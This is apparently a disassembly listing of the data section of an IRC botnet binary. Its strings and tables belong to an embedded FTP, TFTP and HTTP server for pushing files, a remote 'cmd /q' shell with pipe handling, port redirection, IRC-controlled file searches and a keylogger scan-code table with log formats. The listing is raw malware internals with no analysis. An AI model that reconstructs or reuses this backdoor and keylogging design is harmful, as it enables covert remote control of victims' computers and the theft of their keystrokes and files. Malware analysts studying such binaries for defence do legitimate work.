aRest		db 'REST',0             ; DATA XREF: sub_40F402+2CFo
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F402+2E3o
		align 10h
; char off_44A5C0[]
off_44A5C0	dd offset aAugustus+8	; DATA XREF: sub_40F402+2F3o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F402+307o
		align 4
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_40F402+317o
		align 4
; char aA_0[]
aA_0:					; DATA XREF: sub_40F402+32Eo
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F402+342o
; char aType_0[]
aType_0		db 'TYPE',0             ; DATA XREF: sub_40F402+352o
		align 4
; char aI[]
aI:					; DATA XREF: sub_40F402+369o
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F402+37Do
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_40F402+38Do
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F402+3A0o
		align 4
; char aList_0[]
aList_0		db 'LIST',0             ; DATA XREF: sub_40F402+3DBo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F402+3EEo
		align 4
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_40F402+41Co
		align 10h
; char aS_24[]
aS_24		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F402+455o
		db ']',0
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F402+499o
		align 10h
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F402+4CCo
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F402+4DDo
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_40F402+4F2o
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F402+50Ao
		align 10h
; char aFtpTransferSta[]
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F402+533o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F402+57Do
; char aFtpTransferCom[]
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F402+58Fo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F402+5E0o
		align 4
; char aQuit_1[]
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_40F402+5EDo
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F402+601o
; char aRb[]
aRb		db 'rb',0               ; DATA XREF: sub_40FAB6+24o
		align 10h
; char aGet_0[]
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FB50+26Fo
		align 4
; char asc_44A7B8[]
asc_44A7B8:				; DATA XREF: sub_40FB50+292o
		unicode	0, < >,0
; char asc_44A7BC[]
asc_44A7BC:				; DATA XREF: sub_40FB50+297o
		unicode	0, < >,0
; char aGet_1[]
aGet_1		db 'GET ',0             ; DATA XREF: sub_40FB50+2A2o
		align 4
; char asc_44A7C8[]
asc_44A7C8	db 0Dh,0Ah,0		; DATA XREF: sub_40FB50+2D5o
		align 4
; char asc_44A7CC[]
asc_44A7CC	db '-'                  ; DATA XREF: sub_40FB50+3FEo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FFB1+5Fo
		align 10h
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FFB1:loc_410017o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FFB1+84o
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FFB1+98o
		align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aS_25		db '\%s',0              ; DATA XREF: sub_410134+2Fo
; char aS_26[]
aS_26		db '%s',0               ; DATA XREF: sub_410134+3Ao
		align 10h
; char aSS_4[]
aSS_4		db '%s%s',0             ; DATA XREF: sub_410134+EAo
		align 4
; char asc_44AA18[]
asc_44AA18:				; DATA XREF: sub_410134+FBo
		dw 0Ah
		unicode	0, <>,0
; char asc_44AA1C[]
asc_44AA1C:				; DATA XREF: sub_410134+15Ao
		unicode	0, <*>,0
; char asc_44AA20[]
asc_44AA20	db '-'                  ; DATA XREF: sub_410134+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
; char asc_44AA54[]
asc_44AA54	db '-'                  ; DATA XREF: sub_410134+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_39	db ' failed to start worker thread, error %d',0
		align 4
; char asc_44AA8C[]
asc_44AA8C	db 0Ah,0		; DATA XREF: sub_4103EB+29o
		align 10h
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+4Bo
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4103EB+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4103EB+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+149o
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char a__[]
a__		db '..',0               ; DATA XREF: sub_4103EB+237o
		align 10h
; char a__2[]
a__2:					; DATA XREF: sub_4103EB+252o
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_4103EB+28Ao
		align 4
aAm		db 'AM',0               ; DATA XREF: sub_4103EB+295o
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4103EB+2BFo
; char aS_27[]
aS_27		db '<%s>',0             ; DATA XREF: sub_4103EB+2E9o
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4103EB+310o
		align 10h
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+328o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
; char aSS_5[]
aSS_5		db '%s%s/',0            ; DATA XREF: sub_4103EB+36Co
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4103EB+3B3o
		align 4
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_4107A5o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4103EB+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aS_28[]
aS_28		db '<%s>',0             ; DATA XREF: sub_4103EB+40Bo
		align 10h
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+42Fo
		align 10h
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4103EB+46Eo
		align 4
; char aTrTdWidthDAH_0[]
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
; char aSS_6[]
aSS_6		db '%s%s',0             ; DATA XREF: sub_4103EB+4DAo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4103EB+521o
		align 10h
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_410913o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4103EB+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+58Do
		align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4103EB+61Co
		align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4103EB+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4103EB+652o
		align 4
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410B5C+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
; char asc_44AF64[]
asc_44AF64	db '-'                  ; DATA XREF: sub_410C7D+BBo
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aClientConnecti	db '- client connection from %s:%d.',0
; char aUseridUnixS[]
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410C7D+116o
; char asc_44AFA8[]
asc_44AFA8	db '-'                  ; DATA XREF: sub_410C7D+171o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerFailed_0	db '- server failed, returned %d',0
		align 4
; char asc_44AFD4[]
asc_44AFD4	db '-'                  ; DATA XREF: sub_410E2B+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_44B01C[]
asc_44B01C	db '-'                  ; DATA XREF: sub_410E2B+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_40	db 'Failed to start client thread, error: <%d>.',0
; char asc_44B058[]
asc_44B058	db '-'                  ; DATA XREF: sub_410FBC+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_44B09C[]
asc_44B09C	db '-'                  ; DATA XREF: sub_410FBC+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_41	db 'Failed to start connection thread, error: <%d>.',0
; char asc_44B0DC[]
asc_44B0DC	db '-'                  ; DATA XREF: sub_411240+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_411240+172o
		align 4
; char asc_44B11C[]
asc_44B11C	db '-'                  ; DATA XREF: sub_411240+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
; char asc_44B144[]
asc_44B144	db '-'                  ; DATA XREF: sub_411240+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
; char asc_44B170[]
asc_44B170	db '-'                  ; DATA XREF: sub_411240+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
; char asc_44B19C[]
asc_44B19C	db '-'                  ; DATA XREF: sub_411445:loc_41148Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
; char dword_44B1C8[]
dword_44B1C8	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41149F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
; char asc_44B238[]
asc_44B238	db '-'                  ; DATA XREF: sub_4114CE+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
; char asc_44B264[]
asc_44B264	db '-'                  ; DATA XREF: sub_4114CE+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_44B2A8	db  2Dh	; -		; DATA XREF: sub_4114CE+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
; char asc_44B2E4[]
asc_44B2E4	db '-'                  ; DATA XREF: sub_4114CE+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
; char asc_44B328[]
asc_44B328	db '-'                  ; DATA XREF: sub_4114CE+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_44B364[]
asc_44B364	db '-'                  ; DATA XREF: sub_4114CE+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
; char asc_44B39C[]
asc_44B39C	db '-'                  ; DATA XREF: sub_411756+59o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
; char asc_44B3E4[]
asc_44B3E4	db '-'                  ; DATA XREF: sub_411756+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
; char asc_44B42C[]
asc_44B42C	db '-'                  ; DATA XREF: sub_411756+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_44B460	db  2Dh	; -		; DATA XREF: sub_4118A7+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_44B4A0[]
asc_44B4A0	db '-'                  ; DATA XREF: sub_4118A7+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_44B4E0	db  2Dh	; -		; DATA XREF: sub_4118A7+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4119A0+8Co
		align 10h
; char asc_44B510[]
asc_44B510	db '-'                  ; DATA XREF: sub_4119A0+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
; char asc_44B548[]
asc_44B548	db '-'                  ; DATA XREF: sub_411A79+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_44B584[]
asc_44B584	db '-'                  ; DATA XREF: sub_411C4E+A8o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_5	db '- Server started on: %s:%d.',0
; char asc_44B5AC[]
asc_44B5AC	db '-'                  ; DATA XREF: sub_411C4E+114o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
; char asc_44B5F0[]
asc_44B5F0	db '-'                  ; DATA XREF: sub_411C4E+18Fo
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_43	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_44B62C[]
asc_44B62C	db '-'                  ; DATA XREF: sub_411C4E+1B2o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_44	db '- Failed to start server on Port %d.',0
		align 10h
; char dword_44B660[]
dword_44B660	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E53+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 10h
; char dword_44B6A0[]
dword_44B6A0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E53+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 10h
; char dword_44B6E0[]
dword_44B6E0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E53+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
aOctet		db 'octet',0
		align 4
; char aRb_0[]
aRb_0		db 'rb',0               ; DATA XREF: sub_412217+130o
		align 10h
; char aTftpTransferSt[]
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_412217+2CDo
		align 10h
; char aTftpTransferCo[]
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_412217+3C4o
		align 10h
dword_44B770	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_412217+41Co
		dd 8
dword_44B784	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_412775:loc_412858o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_44BEB4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_412775+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
; char asc_44BEEC[]
asc_44BEEC	db '\',0                ; DATA XREF: sub_412694+2Co
		align 10h
; char aAb[]
aAb		db 'ab',0               ; DATA XREF: sub_412694+4Eo
		align 4
; char aDDDDDDS[]
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412694+88o
		align 10h
; char asc_44BF10[]
asc_44BF10	db '-'                  ; DATA XREF: sub_412694+AEo
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh,	7325202Dh, 0
; char aSChangedWindow[]
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_412775+8Fo
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_412775+1E5o
		align 4
; char aSReturnS[]
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_412775+228o
		align 10h
off_44BF70	dd offset dword_44C7D8	; DATA XREF: sub_412A56+2B9r
		dd offset dword_44C7DC
		dd offset dword_44C7E0
		dd offset aHttp_0	; "HTTP"
; char a_login[]
a_login		db ':.login',0          ; DATA XREF: sub_412A56+1DEo
		dd 3 dup(0)
